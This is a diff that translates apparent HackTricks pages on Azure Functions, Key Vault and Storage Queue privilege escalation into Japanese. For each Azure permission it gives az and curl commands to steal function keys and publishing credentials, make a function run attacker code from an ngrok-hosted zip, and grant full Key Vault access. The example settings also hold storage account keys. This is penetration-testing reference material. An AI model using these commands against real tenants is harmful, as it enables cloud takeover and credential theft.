@@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
|
||||
This permission allows to get the host key, of the specified function with:
|
||||
|
||||
この権限は、指定された関数のホストキーを取得することを許可します:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
This permission allows to create/update a function key of the specified function with:
|
||||
|
||||
この権限は、指定された関数の関数キーを作成/更新することを許可します:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
This permission allows to create/update a master key to the specified function with:
|
||||
|
||||
この権限は、指定された関数にマスターキーを作成/更新することを許可します:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that with this key you can also access the source code and modify it as explained before!
|
||||
> このキーを使用すると、前述のようにソースコードにアクセスして変更することもできることを忘れないでください!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
|
||||
この権限は、指定された関数に対してシステム関数キーを作成/更新することを許可します。
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
|
||||
|
||||
この権限は、関数の設定を取得することを許可します。これらの構成の中には、**`AzureWebJobsStorage`** または **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** のデフォルト値を見つけることができるかもしれません。これには、**完全な権限で関数のブロブストレージにアクセスするためのアカウントキー**が含まれています。
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
|
||||
|
||||
さらに、この権限は、**SCM ユーザー名とパスワード**(有効な場合)を取得することも許可します:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. 
|
||||
これらの権限は、以前に見たように関数の設定値をリストすることに加えて、**これらの値を変更する**ことを可能にします。これは、これらの設定が関数内で実行されるコードの場所を示すため、便利です。 
|
||||
|
||||
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
|
||||
|
||||
- Start by getting the current config
|
||||
したがって、Webアプリケーション内で実行する新しいコードを含むURL zipファイルを指す設定の値**`WEBSITE_RUN_FROM_PACKAGE`**を設定することが可能です:
|
||||
|
||||
- 現在の設定を取得することから始めます。
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
|
||||
- Create the code you want the function to run and host it publicly
|
||||
|
||||
- 実行したいコードを作成し、公開ホスティングします。
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -234,228 +203,189 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- 関数を修正し、以前のパラメータを保持し、最後に **`WEBSITE_RUN_FROM_PACKAGE`** を追加して、コードを含む **zip** のURLを指すようにします。
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
|
||||
以下は私の **設定の例であり、あなたの値に変更する必要があります**。最後に値 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` に注意してください。ここが私がアプリをホスティングしていた場所です。
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
|
||||
|
||||
この権限を持つことで、**ウェブコンソールを通じてアプリケーションのコードを変更することが可能です**(または次のAPIエンドポイントを通じて):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
この権限は、基本的に**基本認証資格情報**を含むすべての公開プロファイルをリストすることを許可します:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
別のオプションは、自分のクレデンシャルを設定し、次のようにそれらを使用することです:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- **REDACTED**の資格情報
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
その資格情報が**REDACTED**である場合、それは**SCM基本認証オプションを有効にする必要がある**ためであり、そのためには2番目の権限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)が必要です。
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
次に、これらの**基本認証資格情報を使用して、関数アプリのSCM URLにアクセスし、env変数の値を取得できます**:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Note that the **SCMユーザー名**は通常、文字"$"の後にアプリの名前が続くため、次のようになります: `$<app-name>`._
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
`https://<app-name>.scm.azurewebsites.net/BasicAuth`からウェブページにもアクセスできます。
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
設定値には、関数アプリのデータを保存しているストレージアカウントの**AccountKey**が含まれており、そのストレージアカウントを制御できます。
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
- **メソッド FTP**
|
||||
|
||||
次のようにFTPサーバーに接続します:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **SCMサーバー内でコマンドを実行する**ことができ、アプリケーションのソースコードを変更するために使用される可能性があります。
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
この権限は、VFSを通じてアプリの**ソースコードを読み取る**ことを許可します:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
|
||||
この権限を使用すると、[**管理トークン**を取得](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)でき、その後**マスターキー**を取得し、関数のコードにアクセスして変更することができます。
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
|
||||
This permissions allows to **enable functions** that might be disabled (or disable them).
|
||||
|
||||
この権限は、無効になっている可能性のある**関数を有効にする**(または無効にする)ことを許可します。
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
|
||||
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
|
||||
|
||||
以下のURLで関数が有効か無効かを確認することも可能です(括弧内の権限を使用):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
|
||||
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
|
||||
|
||||
これらの権限があれば、**コンテナを実行するように構成された関数アプリによって実行されるコンテナを変更する**ことが可能です。これにより、攻撃者は悪意のあるazure関数コンテナアプリをdocker hubにアップロードし(例えば)、その関数を実行させることができます。
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
|
||||
|
||||
これらの権限があれば、**関数に新しいユーザー管理アイデンティティをアタッチする**ことが可能です。関数が侵害された場合、これにより任意のユーザー管理アイデンティティへの権限昇格が可能になります。
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### リモートデバッグ
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
|
||||
|
||||
It's possible to check if a Function has debugging enabled with:
|
||||
実行中のAzure関数に接続してデバッグすることも可能です。[**ドキュメントで説明されているように**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合に備えて、Azureはこのオプションを2日後にオフにします。
|
||||
|
||||
デバッグが有効になっているかどうかを確認するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
|
||||
|
||||
`Microsoft.Web/sites/config/write` の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは、`Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要です)。
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
### Change Github repo
|
||||
|
||||
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
|
||||
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
|
||||
|
||||
Githubリポジトリを変更するために、以下のコマンドを実行しましたが、変更されたにもかかわらず、**新しいコードは読み込まれませんでした**(おそらくGithub Actionがコードを更新することを期待しているためです)。\
|
||||
さらに、**マネージドアイデンティティのフェデレーテッドクレデンシャルが新しいリポジトリを許可するように更新されていなかった**ため、あまり役に立たないようです。
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
|
||||
# Load new public repo
|
||||
az functionapp deployment source config \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
このサービスに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,8 +12,7 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
|
||||
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
|
||||
|
||||
この権限を持つ攻撃者は、キー ボールトのポリシーを変更することができます(キー ボールトはRBACの代わりにアクセス ポリシーを使用している必要があります)。
|
||||
```bash
|
||||
# If access policies in the output, then you can abuse it
|
||||
az keyvault show --name <vault-name>
|
||||
@@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv
|
||||
|
||||
# Assign all permissions
|
||||
az keyvault set-policy \
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,50 +12,41 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを覗き見ることができます。これにより、攻撃者はメッセージの内容を処理済みとしてマークしたり、その状態を変更したりすることなく表示できます。これにより、機密情報への不正アクセスが可能になり、データの流出やさらなる攻撃のための情報収集が行われる可能性があります。
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**潜在的な影響**: 不正なユーザーやサービスによるキューへの不正アクセス、メッセージの露出、またはキューの操作。
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueからメッセージを取得して処理することができます。これは、メッセージの内容を読み取り、処理済みとしてマークすることを意味し、実際のシステムから隠すことになります。これにより、機密データが露出したり、メッセージの処理方法に混乱が生じたり、メッセージを意図したユーザーに利用できなくすることで重要なワークフローが停止する可能性があります。
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Storage Queueに新しいメッセージを追加できます。これにより、悪意のあるまたは不正なデータをキューに注入し、意図しないアクションを引き起こしたり、メッセージを処理する下流サービスを妨害したりする可能性があります。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりすることができます。これを使用することで、悪意のあるコンテンツを挿入したり、既存のメッセージを変更したりすることができ、アプリケーションを誤解させたり、キューに依存するシステムで望ましくない動作を引き起こす可能性があります。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
この権限は、攻撃者がストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限したりすることができます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -63,15 +54,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
- https://learn.microsoft.com/ja-jp/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/ja-jp/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/ja-jp/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
